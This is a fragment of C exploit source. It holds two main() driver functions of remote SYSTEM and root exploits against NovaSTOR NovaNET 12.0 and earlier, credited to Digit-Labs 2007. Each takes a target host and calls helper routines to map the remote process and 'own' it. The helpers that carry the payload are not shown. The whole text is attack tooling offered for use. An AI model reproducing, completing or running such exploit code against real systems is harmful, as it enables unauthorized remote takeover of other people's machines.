int main (int argc, char **argv) { char d_name[NOVANET_DOMAIN_SZ]; int esp_val; printf ("NovaSTOR NovaNET <= 12.0 remote SYSTEM exploit\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s <host>\n", argv[0]); exit (EXIT_SUCCESS); } esp_val = 0xdeadbeef; printf ("* mapping remote process...\n"); if (novanet_map_process (argv[1], &esp_val) < 0) { fprintf (stderr, "novanet_map_process: unable to locate thread :(\n"); exit (EXIT_SUCCESS); } printf ("* done\n\n"); novanet_get_domain (argv[1], d_name); novanet_own_process (argv[1], d_name, esp_val); return (EXIT_SUCCESS); }
int main (int argc, char **argv) { char d_name[NOVANET_DOMAIN_SZ]; printf ("NovaSTOR NovaNET <= 12.0 remote root exploit\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s <host>\n", argv[0]); exit (EXIT_SUCCESS); } novanet_get_domain (argv[1], d_name); novanet_own_process (argv[1], d_name); return (EXIT_SUCCESS); }